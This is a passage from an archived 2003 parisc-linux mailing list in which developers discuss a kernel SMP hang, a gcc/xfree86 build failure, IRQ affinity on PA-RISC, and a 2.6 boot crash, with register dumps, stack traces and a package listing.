GR[21] == t2(32bits) == arg5(64bits) = 000000001044ec08

GR[20] == t3(32bits) == arg6(64bits) = 0000000000006061

GR[19] == t4(32bits) == arg7(64bits) = 0000000000000001

GR[26] == arg0 = 0000000010527c70

GR[25] == arg1 = 000000000800000f

GR[24] == arg2 = 0000000000000000

GR[23] == arg3 = 000000001041b130

GR[27] == dp = 0000000010527470

Func: __gp, Off: 0x0, Addr: 0x10527470


GR[28] == ret0 = 0000000000000480

GR[29] == ret1 or sl = 000000008f1f4e30

GR[30] == sp = 000000008f1f4e40

GR[31] == ble rp = 000000001052a470

Func: __gp, Off: 0x3000, Addr: 0x1052a470


CR of CPU[3]
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11  0000000000000010  0000000000000000  00000000000000c0  0000000000000036
12-15  0000000000000000  0000000000000000  0000000000107000  ffe0000000000000
16-19  0000001f0fd05cbd  0000000000000000  0000000010116050  0000000008000240
20-23  0000000000000000  0000000000000000  000000000806070f  0000000000000000
24-27  0000000000453000  000000007f1f2000  0000000000041020  000000ffff95c810
28-31  000000ffff95c810  5555555555555555  000000008f1f4000  0000000000008020

CR[00] == rctr = 0000000000000000

CR[08] == (Protection ID) pidr1 = 0000000000000010

CR[10] == ccr = 00000000000000c0

CR[11] == sar = 0000000000000036

CR[14] == iva = 0000000000107000

CR[15] == eiem = ffe0000000000000

CR[16] == itmr = 0000001f0fd05cbd

CR[17] == pcsq = 0000000000000000

CR[18] == pcoq = 0000000010116050

CR[19] == iir = 0000000008000240

CR[20] == isr = 0000000000000000

CR[21] == ior = 0000000000000000

CR[22] == ipsw = 000000000806070f

CR[23] == eirw = 0000000000000000

CR[24] == tr0 (ptov) = 0000000000453000

CR[25] == tr1 (vtop) = 000000007f1f2000

CR[26] == tr2 = 0000000000041020

CR[27] == tr3 = 000000ffff95c810

CR[28] == tr4 = 000000ffff95c810

CR[29] == tr5 = 5555555555555555

CR[30] == tr6 = 000000008f1f4000

CR[31] == tr7 = 0000000000008020

SR of CPU[3]
00-03  00000400          00000400          00000000          00000400
04-07  00000000          00000000          00000000          00000000
Need much more work !!!

SR[00] == ts0 = 00000400

SR[01] == ts1 = 00000400

SR[03] == cpp = 00000400
	Not parsable address!
...
IIA Offset (back entry)      = 0x0000000010116054
...

e.g. IAOQ = 0x0000000010116054

FPR of CPU[3]
00-03  0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07  0000000010586ec0  0000000000000002  00000000104c7b68  0000000000000420
08-11  0000000000000000  0000000000000802  0000000010527470  000000001058a000
12-15  00000000135a0000  0000000000000000  000000001017dc84  00000000103ceb94
16-19  00000000000009f0  000000008facf000  0000000010527470  00000000135a0000
20-23  00000000103aa184  fffffffffffffff4  00000000003f45a2  000000000000ba2e
24-27  0000999900000000  00009999035a0b70  00000000035a0b78  000000001040d980
28-31  000000001040d980  00000000ff915e20  0000000010185248  0000000000000016

Parse IAOQ = 0x0000000010116054 for CPU[3]

Func: smp_call_function, Off: 0x274, Addr: 0x10116054

    10116054:	0e a0 10 d3 	ldd 0(,r21),r19
    10116058:	0a 93 04 33 	sub r19,r20,r19
    1011605c:	ee 60 ff c5 	cmpib,*> 0,r19,10116044 <smp_call_function+0x264>


Does it help to confirm Willy's idea (i think so but not quiet sure)?

Thanks,
    Joel


------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xfree86 4.2.1-9 build problem
Date: Mon, 11 Aug 2003 09:24:42 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20030811152442.GB20405@dsl2.external.hp.com>
References: <20030811043457.GA5653@dsl2.external.hp.com> <200308111424.h7BEOv14017589@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622668 29254 80.91.229.3 (22 Nov 2014 02:17:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 11 09:24:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id BCFE9482D; Mon, 11 Aug 2003 09:24:42 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200308111424.h7BEOv14017589@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19162

On Mon, Aug 11, 2003 at 10:24:57AM -0400, John David Anglin wrote:
> Did you do the build with one of my private builds of GCC?  They were built
> with dwarf2 exception support and don't have these symbols in libgcc_s.so.1.

nope.  I used:

grundler@gsyprf11:/usr/src/xfree86-4.2.1/build-tree/xc$ gcc -v
Reading specs from /usr/lib/gcc-lib/hppa-linux/3.3.1/specs
Configured with: ../src/configure -v --enable-languages=c,c++,f77,pascal,objc,ada,treelang --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-gxx-include-dir=/usr/include/c++/3.3 --enable-shared --with-system-zlib --enable-nls --without-included-gettext --enable-__cxa_atexit --enable-sjlj-exceptions --enable-clocale=gnu --enable-debug --enable-objc-gc hppa-linux
Thread model: posix
gcc version 3.3.1 20030626 (Debian prerelease)


I upgraded to gcc-3.3/unstable and got the same result when attempting
to build glxinfo by hand.

grant


From - Thu Nov 08 21:28:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Affined IRQs.
Date: Mon, 11 Aug 2003 09:44:49 -0600
Lines: 57
Approved: news@gmane.org
Message-ID: <20030811154449.GC20405@dsl2.external.hp.com>
References: <3F373D92.C287B6B4@india.hp.com> <20030811094324.17ed7a86.varenet@esiee.fr> <3F378CFE.2A12407@india.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622668 29262 80.91.229.3 (22 Nov 2014 02:17:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:48 +0000 (UTC)
Cc: Thibaut VARENE <varenet@esiee.fr>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Naresh <knaresh@india.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 11 09:44:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id C6677482D; Mon, 11 Aug 2003 09:44:49 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3F378CFE.2A12407@india.hp.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19163

On Mon, Aug 11, 2003 at 06:03:03PM +0530, Naresh wrote:
> A couple of questions:
> 1. Do does this mean interrupts can go to any CPU?

Interrupts can be direct at any one CPU.
ia64 and parisc IPI use the same method as IO devices.

The code does a round-robin when assigning IO interrupts to CPUs.
ie assign interrupts to a sequential order of the CPUs.

A minor improvement would be to round-robin based on device class.
But I want this intelligence in user space, not the kernel.
NUMA machines want interrupts directed at CPUs in the same node
where the IO is "hosted".


> 2. If a CPU on an SMP system is stopped or its interrupts are blocked,
> will its interrupts automatically be serviced on another online CPU,

no. The interrupt must be "manually" redirected to another CPU.

> due to their non-affining nature?

Not sure what you mean here.

grant

> Regards,
> Naresh.
> 
> Thibaut VARENE wrote:
> 
> > > Hi,
> > > The IA-64 Linux kernel has a concept of affined IRQs, wherein IRQs can
> > > be bound/affined to particular CPUs. The affinity information shows up
> > > in '/proc/irq/#/smp_affinity'. I cannot see any affinity of IRQs to CPUs
> > > in PA ( iosapic.c and irq.c).. Is my understanding correct?
> > > Regards,
> > > Naresh.
> >
> > This has to be implemented for parisc and is on my todo list ;)
> >
> > (BTW, on vacation till Aug 25th.)
> >
> > Thibaut VARENE
> > The PA/Linux ESIEE Team
> > http://pateam.esiee.fr/
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


From - Thu Nov 08 21:28:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Affined IRQs.
Date: Mon, 11 Aug 2003 16:49:14 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <20030811154914.GQ3169@parcelfarce.linux.theplanet.co.uk>
References: <3F373D92.C287B6B4@india.hp.com> <20030811094324.17ed7a86.varenet@esiee.fr> <3F378CFE.2A12407@india.hp.com> <20030811154449.GC20405@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622668 29263 80.91.229.3 (22 Nov 2014 02:17:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:48 +0000 (UTC)
Cc: Naresh <knaresh@india.hp.com>, Thibaut VARENE <varenet@esiee.fr>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 11 09:49:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8A364485B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Aug 2003 09:49:15 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19mEv4-0002dY-4y; Mon, 11 Aug 2003 16:49:14 +0100
Content-Disposition: inline
In-Reply-To: <20030811154449.GC20405@dsl2.external.hp.com>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19164

On Mon, Aug 11, 2003 at 09:44:49AM -0600, Grant Grundler wrote:
> Interrupts can be direct at any one CPU.
> ia64 and parisc IPI use the same method as IO devices.
> 
> The code does a round-robin when assigning IO interrupts to CPUs.
> ie assign interrupts to a sequential order of the CPUs.
> 
> A minor improvement would be to round-robin based on device class.
> But I want this intelligence in user space, not the kernel.
> NUMA machines want interrupts directed at CPUs in the same node
> where the IO is "hosted".
> 
> > 2. If a CPU on an SMP system is stopped or its interrupts are blocked,
> > will its interrupts automatically be serviced on another online CPU,
> 
> no. The interrupt must be "manually" redirected to another CPU.
> 
> > due to their non-affining nature?
> 
> Not sure what you mean here.

I think there's some confusion here.  I would say that interrupts on
PA-RISC are strongly CPU-affine, but there is currently no mechanism 
for controlling that affinity.  One interrupt will always go to the CPU
it's been programmed for.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Affined IRQs.
Date: Mon, 11 Aug 2003 10:00:09 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <20030811160009.GD20405@dsl2.external.hp.com>
References: <3F378CFE.2A12407@india.hp.com> <DE031C48-CC01-11D7-94DE-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622669 29266 80.91.229.3 (22 Nov 2014 02:17:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:49 +0000 (UTC)
Cc: knaresh@india.hp.com,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Thibaut VAR?NE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 11 10:00:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 3B09E482D; Mon, 11 Aug 2003 10:00:09 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <DE031C48-CC01-11D7-94DE-0030656F07A2@esiee.fr>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19165

On Mon, Aug 11, 2003 at 03:44:02PM +0200, Thibaut VAR?NE wrote:
> For instance, on A500, IRQs are distributed to both CPUs, on J5000, 
> only one of the two CPUs gets all IRQs.

I'm pretty sure this is a bug in the j5000 (Legacy PDC) init sequence.
Not a limitation of the j5000 HW.

> but to my understanding IRQs won't probably be serviced by 
> another CPU unless the IOSAPIC is reprogrammed to do so.

correct.

grant


From - Thu Nov 08 21:28:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] b2k & 2.6 progress :)
Date: Mon, 11 Aug 2003 18:02:33 +0200
Lines: 146
Approved: news@gmane.org
Message-ID: <3F29178A000027FE@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622669 29268 80.91.229.3 (22 Nov 2014 02:17:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:49 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 11 10:02:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 69D4B482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Aug 2003 10:02:34 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19mF5V-0007xx-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Aug 2003 18:00:01 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 11 Aug 2003 18:02:33 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19166

Hi all pa,

Good news I reach to boot 2.6.0-test3-pa(pre0) on my b2k (the merge it quiet
straight :) ).

But to do, I remove (by accident) all kind of serial support (8250/16550)
as well as PDC software console support: this is not quiet to boot 
(

Well for serial driver I couldn't help more because system is not accessible
neither by nic nor by serial console. More over the TOC i can get doesn't
give any relevant info :(

OTC with only PDC software console support driver the system cras
 with
following dump:
Stack Dump:
 10078718:  10078718 1fe05600 1fe05000 1007f670 
 10078708:  1fe00bc0 107d4ba0 1ff16000 f0000174 
 100786f8:  f000017c 10334000 10332000 1023a624 
 100786e8:  1073ec80 1043ef7c 00000010 1ffb1720 
 100786d8:  1fe00bc0 1fe00bc4 107d04a8 10078380 
 100786c8:  0000001a 00000000 00000000 f0000174 
 100786b8:  f000017c f00008c4 f0400004 1010631c 
 100786a8:  ffffffff 00000000 103c11c0 10362010 
 10078698:  10447810 10377810 10447904 103715ec 
 10078688:  10375000 1007f670 10078600 00000000 
 10078678:  00000005 00000010 1043ef7c 101204d8 
 10078668:  100783c8 10332000 10056568 10447904 
 10078658:  1073ed7c 10370088 1045bf14 00000000 
 10078648:  00000000 00000001 100785c8 10378834 
 10078638:  10454010 10362010 1fe05000 1021356c 
 10078628:  1ffb1720 00000008 107ab1f0 10447904 
 10078618:  0005000e 100783c8 10078108 00000101 
 10078608:  10362010 0005000e 100785c0 55555555 
 100785f8:  55555555 55555555 55555555 101217f8 
 100785e8:  55555555 55555555 55555555 55555555 
 100785d8:  1ffb1720 00000001 00000004 100785c8 
 100785c8:  104544bc 107ad600 00000004 1047da20 
 100785b8:  1ffb1720 00000000 00000008 1010a088 
 100785a8:  100783c8 1007f670 107ab1f0 00000000 
 10078598:  0002634a 0005000e 100783c8 00000000 
 10078588:  00000000 0005000e 107ab1f0 00000004 
 10078578:  0002634a 55555555 10078554 10078554 
 10078568:  10121f60 1007f670 00000000 55555555 
 10078558:  10078554 10078554 00000000 00000000 
 10078548:  0cb30083 0000000f 0002634a 55555555 
 10078538:  55555555 55555555 55555555 101f3b80 
 10078528:  101f3b7c 00000000 00000000 00000000 
 10078518:  00000000 00000000 00000000 00000000 
 10078508:  00000000 00000000 00000000 55555555 
 100784f8:  55555555 55555555 55555555 55555555 
 100784e8:  55555555 55555555 55555555 55555555 
 100784d8:  55555555 55555555 55555555 55555555 
 100784c8:  55555555 55555555 55555555 55555555 
 100784b8:  55555555 55555555 55555555 55555555 
 100784a8:  55555555 55555555 55555555 55555555 
 10078498:  55555555 55555555 55555555 55555555 
 10078488:  55555555 55555555 55555555 55555555 
 10078478:  55555555 55555555 55555555 55555555 
 10078468:  55555555 55555555 55555555 55555555 
 10078458:  55555555 55555555 55555555 55555555 
 10078448:  55555555 55555555 55555555 55555555 
 10078438:  55555555 55555555 55555555 55555555 
 10078428:  55555555 00000000 00000000 00000000 
 10078418:  0000001f 00000000 0000001f 00000000 
 10078408:  0000001f 24850e06 04100800 101f4920 
 100783f8:  10078380 00000005 1045bf14 10360010 
 100783e8:  1037e8ec 00000000 1007828c 00000002 
 100783d8:  10110e08 10459f04 00000000 00000000 
 100783c8:  f0000174 f000017c f00008c4 f0400004 
 100783b8:  00000000 1007828c 00000000 103c11c0 
 100783a8:  10362010 10447810 1073eb30 00000000 
 10078398:  00000000 00000000 1045bf14 10370088 
 10078388:  101f3b78 1037e810 0004ff0f f0400004 
 10078378:  00000000 ffffffff 00000000 101f3b78 
 10078368:  10362010 10447810 00002acb 00002ac0 
 10078358:  10448a94 00002ac0 0000000f 1044b55a 
 10078348:  1010d308 10000000 0000000f 00000001 
 10078338:  10370088 1045bf14 10768820 00000001 
 10078328:  00000002 1073eb30 10447810 10362010 

Kernel addresses on the stack:
 [<10219520>] as_next_request+0x44/0x54
 [<10106020>] parisc_terminate+0x60/0xb8
 [<1023a624>] scsi_request_fn+0x54/0x2b0
 [<1010631c>] handle_interruption+0x2a4/0x5b4
 [<101204d8>] schedule+0x1e8/0x428
 [<1021356c>] blk_run_queues+0x6c/0x90
 [<101217f8>] io_schedule+0x3c/0x68
 [<1010a088>] intr_check_sig+0x0/0xc
 [<101f3b80>] init_dev+0x64/0x4b8
 [<103c11c0>] start_kernel+0x4/0x1f8
 [<101f3b78>] init_dev+0x5c/0x4b8
 [<101f4694>] tty_open+0x90/0x3a8
 [<10110db4>] pdc_console_write+0x24/0x3c
 [<10161118>] chrdev_open+0xb0/0x14c
 [<10166adc>] may_open+0x58/0x1c8
 [<10156584>] dentry_open+0x12c/0x1b8
 [<10156450>] filp_open+0x68/0x70
 [<101245cc>] printk+0x17c/0x1bc
 [<101568f4>] sys_open+0x70/0xb8
 [<10100428>] init+0x5c/0x144
 [<10109c5c>] ret_from_kernel_thread+0x1c/0x24


Kernel Fault: Code=26 regs=10078380 (Addr=00000000)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  00000000 1037e810 101f3b78 10370088
r04-07  1045bf14 00000000 00000000 00000000
r08-11  1073eb30 10447810 10362010 103c11c0
r12-15  00000000 1007828c 00000000 f0400004
r16-19  f00008c4 f000017c f0000174 00000000
r20-23  00000000 10459f04 10110e08 00000002
r24-27  1007828c 00000000 1037e8ec 10360010
r28-31  1045bf14 00000005 10078380 101f4920
sr0-3   00000000 00000000 00000000 00000000
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 101f3b7c 101f3b80
 IIR: 0cb30083    ISR: 00000000  IOR: 00000000
 CPU:        0   CR30: 10078000 CR31: 103b5000
 ORIG_R28: 55555555
 IAOQ[0]: init_dev+0x60/0x4b8
 IAOQ[1]: init_dev+0x64/0x4b8
 RP(r2): init_dev+0x5c/0x4b8


(it seems to be the same pb I encounter some time ago with 2.4 but not had
time to analyse, sorry)

hth,
    Joel




------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] xfree86 4.2.1-9 build problem
Date: Mon, 11 Aug 2003 18:41:31 +0200
Lines: 62
Approved: news@gmane.org
Message-ID: <3F29178A00002823@ocpmta7.freegates.net>
References: <20030811152442.GB20405@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622669 29271 80.91.229.3 (22 Nov 2014 02:17:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>,
	"John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 11 10:41:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6F785482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Aug 2003 10:41:36 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19mFhD-0006jt-00; Mon, 11 Aug 2003 18:38:59 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Mon, 11 Aug 2003 18:41:31 +0200
In-Reply-To: <20030811152442.GB20405@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19167

> read model: posix gcc version 3.3.1 20030626 (Debian prerelease)
>
>
>I upgraded to gcc-3.3/unstable and got the same result when attempting
>to build glxinfo by hand.

well I just distupgrade my box (unstable) this morning, I so relaunched the
dpkg-buildpackage ... let you inform tomorrow (sorry I need place so I removed
buildtree)

Joel

PS: I presume that packages are the same  

palx2000:~# dpkg -l gcc\* libc6\* binutils\*
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed
|/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: uppercase=bad)
||/ Name                    Version                 Description
+++-=======================-=======================-==============================================================
ii  gcc                     3.3-2                   The GNU C compiler.
ii  gcc-3.0                 3.0.4-16                The GNU C compiler
ii  gcc-3.0-base            3.0.4-16                The GNU Compiler Collection
(base package)
